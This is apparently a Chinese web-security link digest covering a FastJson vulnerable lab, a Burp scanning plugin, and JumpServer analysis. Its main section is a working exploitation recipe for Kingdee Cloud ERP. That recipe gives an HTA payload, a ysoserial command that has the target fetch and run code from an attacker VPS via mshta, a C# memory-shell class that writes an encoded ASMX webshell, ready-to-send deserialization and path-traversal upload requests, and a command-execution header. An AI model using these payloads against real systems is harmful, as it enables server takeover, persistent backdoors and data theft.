Quan


WEB安全 内网安全 终端对抗 威胁情报
WEB安全
学习Fastjson神器

一直以来,对FastJson这个组件库的学习就没停过,但是很多时候搭建环境还是非常麻烦的,尤其是到了后面,需要配合其他依赖才行。今天在网上找到了这个项目,涵盖了很多Fastjson的漏洞环境。最开心的是,关于他的描述
FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒利用,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。
Docker环境,开箱即用。
以及:每个机器根目录下都藏有flag文件,去尝试获取吧!
感觉很不错,最近正好还要复现一些Fastjson,体验一下。


https://github.com/lemono0/FastJsonParty
WEB安全
OneScan

一款拥有主动被动目录扫描的Burp插件,可以安装在Burp上,自由配置各种功能。并且提供了动态变量这件事,例如我们在针对一个网站进行渗透的时候可以这么扫描备份文件了:
/{{domain.name}}.zip
提供了多个变量
{{host}} - 请求头中的Host(格式:www.xxxxxx.com:81)
{{domain}} - 请求头中不包含端口号的Host(格式:www.xxxxxx.com)
{{domain.main}} - 主域名(格式:xxxxxx.com;如果是IP地址或无效格式,会自动跳过这条Payload)
{{domain.name}} - 主域名的名称(格式:xxxxxx;如果是IP地址或无效格式,会自动跳过这条Payload)
{{protocol}} - 请求头中的协议(格式:http)
{{timestamp}} - Unix时间戳(单位:秒)
{{random.ip}} - 随机IPv4值
{{random.local-ip}} - 随机内网IPv4值
{{random.ua}} - 随机UserAgent值,随机源可配置
{{subdomain}} - 子域名动态变量(格式:www;只有主域名时:`xxxxxx.com` => `xxxxxx`)
{{webroot}} - 一级目录动态变量(格式:path;不存在一级目录时,会自动跳过这条Payload)
功能丰富,配置好了感觉会很不错,建议配置。
同时该工具可以联动HaE,回来我也配置一个。


https://github.com/vaycore/OneScan
WEB安全
WEB安全
金蝶系列漏洞利用

很详细的文章,比较靠谱
1.漏洞版本
金蝶云星空<6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 <金蝶云星空< 8.1.0.20221110
2.漏洞利用
2.1 文件上传
找到网站路径
http://IP/K3cloud/Kingdee.K3.SCM.App.CP.ServicePlugIn.WebAPI.GetCustomBussinessService.GetYZMByMobileNo,Kingdee.K3.SCM.App.CP.ServicePlugIn.common.kdsvc
建立payload.hta
<HTML> 
<meta http-equiv="Contenti-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
set fso=createobject("scripting.filesystemobject")
set file=fso.createtextfile("D:\Kingdee\K3Cloud\WebSite\40261312.txt")
s="asdf123123"
file.write s
file.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML>
最后
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "mshta http://vps地址/payload.hta"
内存马
using System;
using System.IO;

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
            string filePath = Path.Combine(baseDirectory, "service1.asmx");
            string content = "PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iV2ViU2VydmljZTEiICU+CnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSA6IFN5c3RlbS5XZWIuU2VydmljZXMuV2ViU2VydmljZQp7CgogICAgICAgIFtTeXN0ZW0uV2ViLlNlcnZpY2VzLldlYk1ldGhvZChFbmFibGVTZXNzaW9uID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0cmluZyBwYXNzMTIzNChzdHJpbmcgcGFzczEyMzQpCiAgICAgICAgewoJCQlTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyIHN0cmluZ0J1aWxkZXIgPSBuZXcgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlcigpOwogICAgICAgICAgICB0cnkgeyBzdHJpbmcga2V5ID0gIjNjNmUwYjhhOWMxNTIyNGEiOyBzdHJpbmcgcGFzcz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kpQ29udGV4dC5TZXNzaW9uWyJwYXlsb2FkIl0pLkNyZWF0ZUluc3RhbmNlKCJMWSIpOyBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtIG91dFN0cmVhbSA9IG5ldyBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCk7IG8uRXF1YWxzKENvbnRleHQpOyBvLkVxdWFscyhvdXRTdHJlYW0pOyBvLkVxdWFscyhkYXRhKTsgby5Ub1N0cmluZygpOyBieXRlW10gciA9IG91dFN0cmVhbS5Ub0FycmF5KCk7IHN0cmluZ0J1aWxkZXIuQXBwZW5kKG1kNS5TdWJzdHJpbmcoMCwgMTYpKTsgc3RyaW5nQnVpbGRlci5BcHBlbmQoU3lzdGVtLkNvbnZlcnQuVG9CYXNlNjRTdHJpbmcobmV3IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmlqbmRhZWxNYW5hZ2VkKCkuQ3JlYXRlRW5jcnlwdG9yKFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQuR2V0Qnl0ZXMoa2V5KSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdC5HZXRCeXRlcyhrZXkpKS5UcmFuc2Zvcm1GaW5hbEJsb2NrKHIsIDAsIHIuTGVuZ3RoKSkpOyBzdHJpbmdCdWlsZGVyLkFwcGVuZChtZDUuU3Vic3RyaW5nKDE2KSk7IH0gfSBjYXRjaCAoU3lzdGVtLkV4Y2VwdGlvbikgeyB9CgkJCXJldHVybiBzdHJpbmdCdWlsZGVyLlRvU3RyaW5nKCk7CgkJfQogICAgCn0K";
            byte[] decodedBytes = Convert.FromBase64String(content);
            File.WriteAllBytes(filePath, decodedBytes);
            context.Response.Write(filePath+"write success");
        }
        catch (System.Exception) { }
        context.Response.Flush();
        context.Response.End();
    }
}
生成反序列化数据
ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;System.Windows.Forms.dll;System.dll;System.Web.dll"
利用点
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195
cmd: whoami
Content-Type: text/json
Content-Length: 15907

{"ap0":"xxx","format":"3"}
还有个接口
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc HTTP/1.1
除了反序列化外,还有这个
文件上传
POST /easportal/buffalo/%2e%2e/cm/myUploadFile.do HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
Content-Length: 205

------WebKitFormBoundarySq4lDnabv8CwHfvx
Content-Disposition: form-data; name="myFile"; filename="test.jsp"
Content-Type: text/html

<%out.println("test");%>
------WebKitFormBoundarySq4lDnabv8CwHfvx--
最后的路径是
http://127.0.0.1/easportal/buffalo/../test.jsp
JNDI


https://www.redteam.wang
WEB安全
JumperServer分析/复现记录

文章从两部分来介绍:
1.漏洞点的分析,比较易懂一些
2.漏洞复现,包括提供了可用脚本
JUMPER Server验证码计算工具


https://mp.weixin.qq.com/s?__biz=MzkxNjQyMjcwMw==&mid=2247485011&idx=1&sn=563a9e567bd32a33c4a974a09bfc2cad